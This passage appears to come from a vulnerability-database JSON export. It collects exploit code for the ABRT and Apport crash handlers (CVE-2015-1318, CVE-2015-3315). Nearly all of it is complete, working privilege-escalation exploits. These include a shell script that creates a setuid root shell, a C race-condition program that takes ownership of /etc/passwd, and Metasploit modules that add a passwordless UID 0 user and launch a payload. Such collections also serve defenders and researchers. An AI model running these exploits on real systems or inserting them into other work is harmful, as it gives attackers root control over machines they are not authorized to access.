'#{path}'\"\n register_file_for_cleanup path\n end\n\n def exploit\n if check != CheckCode::Detected\n fail_with Failure::NotVulnerable, 'Target is not vulnerable'\n end\n\n @chown_file = '/etc/passwd'\n\n if datastore['USERNAME'].blank?\n @username = rand_text_alpha rand(7..10)\n else\n @username = datastore['USERNAME']\n end\n\n # Upload Tavis Ormandy's raceabrt exploit:\n # - https://www.exploit-db.com/exploits/36747/\n # Cross-compiled with:\n # - i486-linux-musl-cc -static raceabrt.c\n path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt'\n fd = ::File.open path, 'rb'\n executable_data = fd.read fd.stat.size\n fd.close\n\n executable_name = \".#{rand_text_alphanumeric rand(5..10)}\"\n executable_path = \"#{base_dir}/#{executable_name}\"\n upload_and_chmodx executable_path, executable_data\n\n # Change working directory to base_dir\n cmd_exec \"cd '#{base_dir}'\"\n\n # Launch raceabrt executable\n print_status \"Trying to own '#{@chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ...\"\n output = cmd_exec \"#{executable_path} #{@chown_file}\", nil, timeout\n output.each_line { |line| vprint_status line.chomp }\n\n # Check if we own /etc/passwd\n unless cmd_exec(\"[ -w #{@chown_file} ] && echo true\").include? 'true'\n fail_with Failure::Unknown, \"Failed to own '#{@chown_file}'\"\n end\n\n print_good \"Success! '#{@chown_file}' is writable\"\n\n # Add new user with no password\n print_status \"Adding #{@username} user to #{@chown_file} ...\"\n cmd_exec \"echo '#{@username}::0:0::/root:/bin/bash' >> #{@chown_file}\"\n\n # Upload payload executable\n payload_path = \"#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}\"\n upload_and_chmodx payload_path, generate_payload_exe\n\n # Execute payload executable\n vprint_status 'Executing payload...'\n cmd_exec \"/bin/bash -c \\\"echo #{payload_path} | su - #{@username}&\\\"\"\n end\n\n def on_new_session(session)\n if session.type.to_s.eql? 'meterpreter'\n session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'\n end\n\n # Reinstate /etc/passwd root ownership and remove new user\n root_owns_passwd = false\n new_user_removed = false\n\n if session.type.to_s.eql? 'meterpreter'\n # Reinstate /etc/passwd root ownership\n session.sys.process.execute '/bin/sh', \"-c \\\"chown root:root #{@chown_file}\\\"\"\n\n # Remove new user\n session.sys.process.execute '/bin/sh', \"-c \\\"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\\\"\"\n\n # Wait for clean up\n Rex.sleep 5\n\n # Check root ownership\n passwd_stat = session.fs.file.stat(@chown_file).stathash\n if passwd_stat['st_uid'] == 0 && passwd_stat['st_gid'] == 0\n root_owns_passwd = true\n end\n\n # Check for new user in /etc/passwd\n passwd_contents = session.fs.file.open(@chown_file).read.to_s\n unless passwd_contents.include? \"#{@username}:\"\n new_user_removed = true\n end\n elsif session.type.to_s.eql? 'shell'\n # Reinstate /etc/passwd root ownership\n session.shell_command_token \"chown root:root #{@chown_file}\"\n\n # Remove new user\n session.shell_command_token \"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\"\n\n # Check root ownership\n passwd_owner = session.shell_command_token \"ls -l #{@chown_file}\"\n if passwd_owner.to_s.include? 'root'\n root_owns_passwd = true\n end\n\n # Check for new user in /etc/passwd\n passwd_user = session.shell_command_token \"grep '#{@username}:' #{@chown_file}\"\n unless passwd_user.to_s.include? \"#{@username}:\"\n new_user_removed = true\n end\n end\n\n unless root_owns_passwd\n print_warning \"Could not reinstate root ownership of #{@chown_file}\"\n end\n\n unless new_user_removed\n print_warning \"Could not remove user '#{@username}' from #{@chown_file}\"\n end\n rescue => e\n print_error \"Error during cleanup: #{e.message}\"\n ensure\n super\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "exploitdb": [{"lastseen": "2022-08-16T08:24:22", "description": "", "cvss3": {}, "published": "2015-04-17T00:00:00", "type": "exploitdb", "title": "Apport 2.14.1 (Ubuntu 14.04.2) - Local Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["2015-1318", "CVE-2015-1318"], "modified": "2015-04-17T00:00:00", "id": "EDB-ID:36782", "href": "https://www.exploit-db.com/exploits/36782", "sourceData": "#!/bin/sh\r\n#\r\n# CVE-2015-1318\r\n# \r\n# Reference: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758\r\n# \r\n# Example:\r\n#\r\n# % uname -a\r\n# Linux maggie 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux\r\n#\r\n# % lsb_release -a\r\n# No LSB modules are available.\r\n# Distributor ID: Ubuntu\r\n# Description: Ubuntu 14.04.2 LTS\r\n# Release: 14.04\r\n# Codename: trusty\r\n#\r\n# % dpkg -l | grep '^ii apport ' | awk -F ' ' '{ print $2 \" \" $3 }'\r\n# apport 2.14.1-0ubuntu3.8\r\n#\r\n# % id\r\n# uid=1000(ricardo) gid=1000(ricardo) groups=1000(ricardo) (...)\r\n#\r\n# % ./apport.sh\r\n# pwned-4.3# id\r\n# uid=1000(ricardo) gid=1000(ricardo) euid=0(root) groups=0(root) (...)\r\n# pwned-4.3# exit\r\n\r\nTEMPDIR=$(mktemp -d)\r\n\r\ncd ${TEMPDIR}\r\n\r\ncp /bin/busybox .\r\n\r\nmkdir -p dev mnt usr/share/apport\r\n\r\n(\r\ncat << EOF\r\n#!/busybox sh\r\n(\r\ncp /mnt/1/root/bin/bash /mnt/1/root/tmp/pwned\r\nchmod 5755 /mnt/1/root/tmp/pwned\r\n) \r\nEOF\r\n\r\n) > usr/share/apport/apport\r\n\r\nchmod +x usr/share/apport/apport\r\n\r\n(\r\ncat << EOF\r\nmount -o bind . .\r\ncd .\r\nmount --rbind /proc mnt\r\ntouch dev/null\r\npivot_root . .\r\n./busybox sleep 500 &\r\nSLEEP=\\$!\r\n./busybox sleep 1\r\n./busybox kill -11 \\$SLEEP\r\n./busybox sleep 5\r\nEOF\r\n) | lxc-usernsexec -m u:0:$(id -u):1 -m g:0:$(id -g):1 2>&1 >/dev/null -- \\\r\n lxc-unshare -s \"MOUNT|PID|NETWORK|UTSNAME|IPC\" -- /bin/sh 2>&1 >/dev/null\r\n\r\n/tmp/pwned -p\r\n\r\nrm -Rf ${TEMPDIR}", "sourceHref": "https://www.exploit-db.com/download/36782", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-08-16T08:15:22", "description": "", "cvss3": {}, "published": "2018-02-05T00:00:00", "type": "exploitdb", "title": "Apport/ABRT - &#039;chroot&#039; Local Privilege Escalation (Metasploit)", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["2015-1318", "CVE-2015-1318"], "modified": "2018-02-05T00:00:00", "id": "EDB-ID:43971", "href": "https://www.exploit-db.com/exploits/43971", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Local\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Post::File\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::FileDropper\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Apport / ABRT chroot Privilege Escalation',\r\n 'Description' => %q{\r\n This module attempts to gain root privileges on Linux systems by\r\n invoking the default coredump handler inside a namespace (\"container\").\r\n\r\n Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are\r\n vulnerable, due to a feature which allows forwarding reports to\r\n a container's Apport by changing the root directory before loading\r\n the crash report, causing 'usr/share/apport/apport' within the crashed\r\n task's directory to be executed.\r\n\r\n Similarly, Fedora is vulnerable when the kernel crash handler is\r\n configured to change root directory before executing ABRT, causing\r\n 'usr/libexec/abrt-hook-ccpp' within the crashed task's directory to be\r\n executed.\r\n\r\n In both instances, the crash handler does not drop privileges,\r\n resulting in code execution as root.\r\n\r\n This module has been tested successfully on Apport 2.14.1 on\r\n Ubuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20 x86_64.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'St\u00e9phane Graber', # Independent discovery, PoC and patch\r\n 'Tavis Ormandy', # Independent discovery and C exploit\r\n 'Ricardo F. Teixeira', # shell exploit\r\n 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit\r\n ],\r\n 'DisclosureDate' => 'Mar 31 2015',\r\n 'Platform' => [ 'linux' ],\r\n 'Arch' => [ ARCH_X86, ARCH_X64 ],\r\n 'SessionTypes' => [ 'shell', 'meterpreter' ],\r\n 'Targets' => [[ 'Auto', {} ]],\r\n 'References' =>\r\n [\r\n [ 'CVE', '2015-1318' ],\r\n [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],\r\n # Exploits\r\n [ 'EDB', '36782' ],\r\n [ 'EDB', '36746' ],\r\n [ 'URL', 'https://gist.github.com/taviso/0f02c255c13c5c113406' ],\r\n # ABRT (Fedora)\r\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],\r\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],\r\n # Apport (Ubuntu)\r\n [ 'URL', 'https://usn.ubuntu.com/usn/USN-2569-1/' ],\r\n [ 'URL', 'https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893' ],\r\n [ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758' ],\r\n [ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ]\r\n ]\r\n ))\r\n register_options(\r\n [\r\n OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])\r\n ])\r\n end\r\n\r\n def base_dir\r\n datastore['WritableDir']\r\n end\r\n\r\n def check\r\n kernel_version = Gem::Version.new cmd_exec('uname -r').split('-').first\r\n\r\n if kernel_version < Gem::Version.new('3.12')\r\n vprint_error \"Linux kernel version #{kernel_version} is NOT vulnerable\"\r\n return CheckCode::Safe\r\n end\r\n\r\n vprint_good \"Linux kernel version #{kernel_version} is vulnerable\"\r\n\r\n kernel_core_pattern = cmd_exec 'cat /proc/sys/kernel/core_pattern'\r\n\r\n # Vulnerable core_pattern (abrt):\r\n # kernel.core_pattern = |/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e\r\n # Patched systems no longer preface the command with /usr/sbin/chroot\r\n # kernel.core_pattern = |/usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e\r\n if kernel_core_pattern.include?('chroot') && kernel_core_pattern.include?('abrt-hook-ccpp')\r\n vprint_good 'System is configured to chroot ABRT for crash reporting'\r\n return CheckCode::Vulnerable\r\n end\r\n\r\n # Vulnerable core_pattern (apport):\r\n # kernel.core_pattern = |/usr/share/apport/apport %p %s %c %P\r\n if kernel_core_pattern.include? 'apport'\r\n vprint_good 'System is configured to use Apport for crash reporting'\r\n\r\n res = cmd_exec 'apport-cli --version'\r\n\r\n if res.blank?\r\n vprint_error 'Apport is NOT installed'\r\n return CheckCode::Safe\r\n end\r\n\r\n apport_version = Gem::Version.new(res.split('-').first)\r\n\r\n if apport_version >= Gem::Version.new('2.13') && apport_version < Gem::Version.new('2.17.1')\r\n vprint_good \"Apport version #{apport_version} is vulnerable\"\r\n return CheckCode::Vulnerable\r\n end\r\n\r\n vprint_error \"Apport version #{apport_version} is NOT vulnerable\"\r\n\r\n return CheckCode::Safe\r\n end\r\n\r\n vprint_error 'System is NOT configured to use Apport or chroot ABRT for crash reporting'\r\n\r\n CheckCode::Safe\r\n end\r\n\r\n def upload_and_chmodx(path, data)\r\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\r\n rm_f path\r\n write_file path, data\r\n cmd_exec \"chmod +x '#{path}'\"\r\n register_file_for_cleanup path\r\n end\r\n\r\n def exploit\r\n if check != CheckCode::Vulnerable\r\n fail_with Failure::NotVulnerable, 'Target is not vulnerable'\r\n end\r\n\r\n # Upload Tavis Ormandy's newpid exploit:\r\n # - https://www.exploit-db.com/exploits/36746/\r\n # Cross-compiled with:\r\n # - i486-linux-musl-cc -static newpid.c\r\n path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid'\r\n fd = ::File.open path, 'rb'\r\n executable_data = fd.read fd.stat.size\r\n fd.close\r\n\r\n executable_name = \".#{rand_text_alphanumeric rand(5..10)}\"\r\n executable_path = \"#{base_dir}/#{executable_name}\"\r\n upload_and_chmodx executable_path, executable_data\r\n\r\n # Upload payload executable\r\n payload_name = \".#{rand_text_alphanumeric rand(5..10)}\"\r\n payload_path = \"#{base_dir}/#{payload_name}\"\r\n upload_and_chmodx payload_path, generate_payload_exe\r\n\r\n # newpid writes an 'exploit' directory\r\n # which must be removed manually if exploitation fails\r\n register_dir_for_cleanup \"#{base_dir}/exploit\"\r\n\r\n # Change working directory to base_dir,\r\n # allowing newpid to create the required hard links\r\n cmd_exec \"cd '#{base_dir}'\"\r\n\r\n print_status 'Launching exploit...'\r\n output = cmd_exec executable_path\r\n output.each_line { |line| vprint_status line.chomp }\r\n\r\n # Check for root privileges\r\n id = cmd_exec 'id'\r\n\r\n unless id.include? 'root'\r\n fail_with Failure::Unknown, 'Failed to gain root privileges'\r\n end\r\n\r\n print_good 'Upgraded session to root privileges'\r\n vprint_line id\r\n\r\n # Execute payload executable\r\n vprint_status 'Executing payload...'\r\n cmd_exec payload_path\r\n end\r\nend", "sourceHref": "https://www.exploit-db.com/download/43971", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-08-16T08:24:25", "description": "", "cvss3": {"exploitabilityScore": 1.0, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.0, "vectorString": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2015-04-14T00:00:00", "type": "exploitdb", "title": "Abrt (Fedora 21) - Race Condition", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.4, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 6.9, "vectorString": "AV:L/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["2015-1862", "2015-3315", "CVE-2015-1862"], "modified": "2015-04-14T00:00:00", "id": "EDB-ID:36747", "href": "https://www.exploit-db.com/exploits/36747", "sourceData": "#include <stdlib.h>\r\n#include <unistd.h>\r\n#include <stdbool.h>\r\n#include <stdio.h>\r\n#include <signal.h>\r\n#include <err.h>\r\n#include <string.h>\r\n#include <alloca.h>\r\n#include <limits.h>\r\n#include <sys/inotify.h>\r\n#include <sys/prctl.h>\r\n#include <sys/types.h>\r\n#include <sys/types.h>\r\n#include <sys/wait.h>\r\n#include <sys/stat.h>\r\n\r\n//\r\n// This is a race condition exploit for CVE-2015-1862, targeting Fedora.\r\n//\r\n// Note: It can take a few minutes to win the race condition.\r\n//\r\n// -- taviso@cmpxchg8b.com, April 2015.\r\n//\r\n// $ cat /etc/fedora-release \r\n// Fedora release 21 (Twenty One)\r\n// $ ./a.out /etc/passwd\r\n// [ wait a few minutes ]\r\n// Detected ccpp-2015-04-13-21:54:43-14183.new, attempting to race...\r\n// Didn't win, trying again!\r\n// Detected ccpp-2015-04-13-21:54:43-14186.new, attempting to race...\r\n// Didn't win, trying again!\r\n// Detected ccpp-2015-04-13-21:54:43-14191.new, attempting to race...\r\n// Didn't win, trying again!\r\n// Detected ccpp-2015-04-13-21:54:43-14195.new, attempting to race...\r\n// Didn't win, trying again!\r\n// Detected ccpp-2015-04-13-21:54:43-14198.new, attempting to race...\r\n// Exploit successful...\r\n// -rw-r--r--. 1 taviso abrt 1751 Sep 26 2014 /etc/passwd\r\n//\r\n\r\nstatic const char kAbrtPrefix[] = \"/var/tmp/abrt/\";\r\nstatic const size_t kMaxEventBuf = 8192;\r\nstatic const size_t kUnlinkAttempts = 8192 * 2;\r\nstatic const int kCrashDelay = 10000;\r\n\r\nstatic pid_t create_abrt_events(const char *name);\r\n\r\nint main(int argc, char **argv)\r\n{\r\n int fd, i;\r\n int watch;\r\n pid_t child;\r\n struct stat statbuf;\r\n struct inotify_event *ev;\r\n char *eventbuf = alloca(kMaxEventBuf);\r\n ssize_t size;\r\n\r\n // First argument is the filename user wants us to chown().\r\n if (argc != 2) {\r\n errx(EXIT_FAILURE, \"please specify filename to chown (e.g. /etc/passwd)\");\r\n }\r\n\r\n // This is required as we need to make different comm names to avoid\r\n // triggering abrt rate limiting, so we fork()/execve() different names.\r\n if (strcmp(argv[1], \"crash\") == 0) {\r\n __builtin_trap();\r\n }\r\n\r\n // Setup inotify, and add a watch on the abrt directory.\r\n if ((fd = inotify_init()) < 0) {\r\n err(EXIT_FAILURE, \"unable to initialize inotify\");\r\n }\r\n\r\n if ((watch = inotify_add_watch(fd, kAbrtPrefix, IN_CREATE)) < 0) {\r\n err(EXIT_FAILURE, \"failed to create new watch descriptor\");\r\n }\r\n\r\n // Start causing crashes so that abrt generates reports.\r\n if ((child = create_abrt_events(*argv)) == -1) {\r\n err(EXIT_FAILURE, \"failed to generate abrt reports\");\r\n }\r\n\r\n // Now start processing inotify events.\r\n while ((size = read(fd, eventbuf, kMaxEventBuf)) > 0) {\r\n\r\n // We can receive multiple events per read, so check each one.\r\n for (ev = eventbuf; ev < eventbuf + size; ev = &ev->name[ev->len]) {\r\n char dirname[NAME_MAX];\r\n char mapsname[NAME_MAX];\r\n char command[1024];\r\n\r\n // If this is a new ccpp report, we can start trying to race it.\r\n if (strncmp(ev->name, \"ccpp\", 4) != 0) {\r\n continue;\r\n }\r\n\r\n // Construct pathnames.\r\n strncpy(dirname, kAbrtPrefix, sizeof dirname);\r\n strncat(dirname, ev->name, sizeof dirname);\r\n\r\n strncpy(mapsname, dirname, sizeof dirname);\r\n strncat(mapsname, \"/maps\", sizeof mapsname);\r\n\r\n fprintf(stderr, \"Detected %s, attempting to race...\\n\", ev->name);\r\n\r\n // Check if we need to wait for the next event or not.\r\n while (access(dirname, F_OK) == 0) {\r\n for (i = 0; i < kUnlinkAttempts; i++) {\r\n // We need to unlink() and symlink() the file to win.\r\n if (unlink(mapsname) != 0) {\r\n continue;\r\n }\r\n\r\n // We won the first race, now attempt to win the\r\n // second race....\r\n if (symlink(argv[1], mapsname) != 0) {\r\n break;\r\n }\r\n\r\n // This looks good, but doesn't mean we won, it's possible\r\n // chown() might have happened while the file was unlinked.\r\n //\r\n // Give it a few microseconds to run chown()...just in case\r\n // we did win.\r\n usleep(10);\r\n\r\n if (stat(argv[1], &statbuf) != 0) {\r\n errx(EXIT_FAILURE, \"unable to stat target file %s\", argv[1]);\r\n }\r\n\r\n if (statbuf.st_uid != getuid()) {\r\n break;\r\n }\r\n\r\n fprintf(stderr, \"\\tExploit successful...\\n\");\r\n\r\n // We're the new owner, run ls -l to show user.\r\n sprintf(command, \"ls -l %s\", argv[1]);\r\n system(command);\r\n\r\n return EXIT_SUCCESS;\r\n }\r\n }\r\n\r\n fprintf(stderr, \"\\tDidn't win, trying again!\\n\");\r\n }\r\n }\r\n\r\n err(EXIT_FAILURE, \"failed to read inotify event\");\r\n}\r\n\r\n// This routine attempts to generate new abrt events. We can't just crash,\r\n// because abrt sanely tries to rate limit report creation, so we need a new\r\n// comm name for each crash.\r\nstatic pid_t create_abrt_events(const char *name)\r\n{\r\n char *newname;\r\n int status;\r\n pid_t child, pid;\r\n\r\n // Create a child process to generate events.\r\n if ((child = fork()) != 0)\r\n return child;\r\n\r\n // Make sure we stop when parent dies.\r\n prctl(PR_SET_PDEATHSIG, SIGKILL);\r\n\r\n while (true) {\r\n // Choose a new unused filename\r\n newname = tmpnam(0);\r\n\r\n // Make sure we're not too fast.\r\n usleep(kCrashDelay);\r\n\r\n // Create a new crashing subprocess.\r\n if ((pid = fork()) == 0) {\r\n if (link(name, newname) != 0) {\r\n err(EXIT_FAILURE, \"failed to create a new exename\");\r\n }\r\n\r\n // Execute crashing process.\r\n execl(newname, newname, \"crash\", NULL);\r\n\r\n // This should always work.\r\n err(EXIT_FAILURE, \"unexpected execve failure\");\r\n }\r\n\r\n // Reap crashed subprocess.\r\n if (waitpid(pid, &status, 0) != pid) {\r\n err(EXIT_FAILURE, \"waitpid failure\");\r\n }\r\n\r\n // Clean up the temporary name.\r\n if (unlink(newname) != 0) {\r\n err(EXIT_FAILURE, \"failed to clean up\");\r\n }\r\n\r\n // Make sure it crashed as expected.\r\n if (!WIFSIGNALED(status)) {\r\n errx(EXIT_FAILURE, \"something went wrong\");\r\n }\r\n }\r\n\r\n return child;\r\n}", "sourceHref": "https://www.exploit-db.com/download/36747", "cvss": {"score": 6.9, "vector": "AV:L/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-08-16T06:14:25", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-02-16T00:00:00", "type": "exploitdb", "title": "ABRT - &#039;raceabrt&#039; Privilege Escalation (Metasploit)", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["2015-3315", "CVE-2015-1862", "CVE-2015-3315"], "modified": "2018-02-16T00:00:00", "id": "EDB-ID:44097", "href": "https://www.exploit-db.com/exploits/44097", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Local\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Post::File\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::FileDropper\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'ABRT raceabrt Privilege Escalation',\r\n 'Description' => %q{\r\n This module attempts to gain root privileges on Fedora systems with\r\n a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured\r\n as the crash handler.\r\n\r\n A race condition allows local users to change ownership of arbitrary\r\n files (CVE-2015-3315). This module uses a symlink attack on\r\n '/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd,\r\n then adds a new user with UID=0 GID=0 to gain root privileges.\r\n Winning the race could take a few minutes.\r\n\r\n This module has been tested successfully on ABRT packaged version\r\n 2.1.5-1.fc19 on Fedora Desktop 19 x86_64, 2.2.1-1.fc19 on Fedora Desktop\r\n 19 x86_64 and 2.2.2-2.fc20 on Fedora Desktop 20 x86_64.\r\n\r\n Fedora 21 and Red Hat 7 systems are reportedly affected, but untested.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Tavis Ormandy', # Discovery and C exploit\r\n 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit\r\n ],\r\n 'DisclosureDate' => 'Apr 14 2015',\r\n 'Platform' => [ 'linux' ],\r\n 'Arch' => [ ARCH_X86, ARCH_X64 ],\r\n 'SessionTypes' => [ 'shell', 'meterpreter' ],\r\n 'Targets' => [[ 'Auto', {} ]],\r\n 'References' =>\r\n [\r\n [ 'CVE', '2015-3315' ],\r\n [ 'EDB', '36747' ],\r\n [ 'BID', '75117' ],\r\n [ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ],\r\n [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],\r\n [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ],\r\n [ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ],\r\n [ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ],\r\n [ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ],\r\n [ 'URL', 'https://access.redhat.com/articles/1415483' ],\r\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],\r\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],\r\n [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ]\r\n ]\r\n ))\r\n register_options(\r\n [\r\n OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),\r\n OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ]),\r\n OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])\r\n ])\r\n end\r\n\r\n def base_dir\r\n datastore['WritableDir']\r\n end\r\n\r\n def timeout\r\n datastore['TIMEOUT']\r\n end\r\n\r\n def check\r\n if cmd_exec('lsattr /etc/passwd').include? 'i'\r\n vprint_error 'File /etc/passwd is immutable'\r\n return CheckCode::Safe\r\n end\r\n\r\n kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'\r\n unless kernel_core_pattern.include? 'abrt-hook-ccpp'\r\n vprint_error 'System is NOT configured to use ABRT for crash reporting'\r\n return CheckCode::Safe\r\n end\r\n vprint_good 'System is configured to use ABRT for crash reporting'\r\n\r\n if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true'\r\n vprint_error \"Directory '/var/spool/abrt' exists. System has been patched.\"\r\n return CheckCode::Safe\r\n end\r\n vprint_good 'System does not appear to have been patched'\r\n\r\n unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true'\r\n vprint_error \"Directory '/var/tmp/abrt' does NOT exist\"\r\n return CheckCode::Safe\r\n end\r\n vprint_good \"Directory '/var/tmp/abrt' exists\"\r\n\r\n if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'\r\n vprint_error 'abrt-ccp service NOT running'\r\n return CheckCode::Safe\r\n end\r\n vprint_good 'abrt-ccpp service is running'\r\n\r\n abrt_version = cmd_exec('yum list installed abrt | grep abrt').split(/\\s+/)[1]\r\n unless abrt_version.blank?\r\n vprint_status \"System is using ABRT package version #{abrt_version}\"\r\n end\r\n\r\n CheckCode::Detected\r\n end\r\n\r\n def upload_and_chmodx(path, data)\r\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\r\n rm_f path\r\n write_file path, data\r\n cmd_exec \"chmod +x '#{path}'\"\r\n register_file_for_cleanup path\r\n end\r\n\r\n def exploit\r\n if check != CheckCode::Detected\r\n fail_with Failure::NotVulnerable, 'Target is not vulnerable'\r\n end\r\n\r\n @chown_file = '/etc/passwd'\r\n\r\n if datastore['USERNAME'].blank?\r\n @username = rand_text_alpha rand(7..10)\r\n else\r\n @username = datastore['USERNAME']\r\n end\r\n\r\n # Upload Tavis Ormandy's raceabrt exploit:\r\n # - https://www.exploit-db.com/exploits/36747/\r\n # Cross-compiled with:\r\n # - i486-linux-musl-cc -static raceabrt.c\r\n path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt'\r\n fd = ::File.open path, 'rb'\r\n executable_data = fd.read fd.stat.size\r\n fd.close\r\n\r\n executable_name = \".#{rand_text_alphanumeric rand(5..10)}\"\r\n executable_path = \"#{base_dir}/#{executable_name}\"\r\n upload_and_chmodx executable_path, executable_data\r\n\r\n # Change working directory to base_dir\r\n cmd_exec \"cd '#{base_dir}'\"\r\n\r\n # Launch raceabrt executable\r\n print_status \"Trying to own '#{@chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ...\"\r\n output = cmd_exec \"#{executable_path} 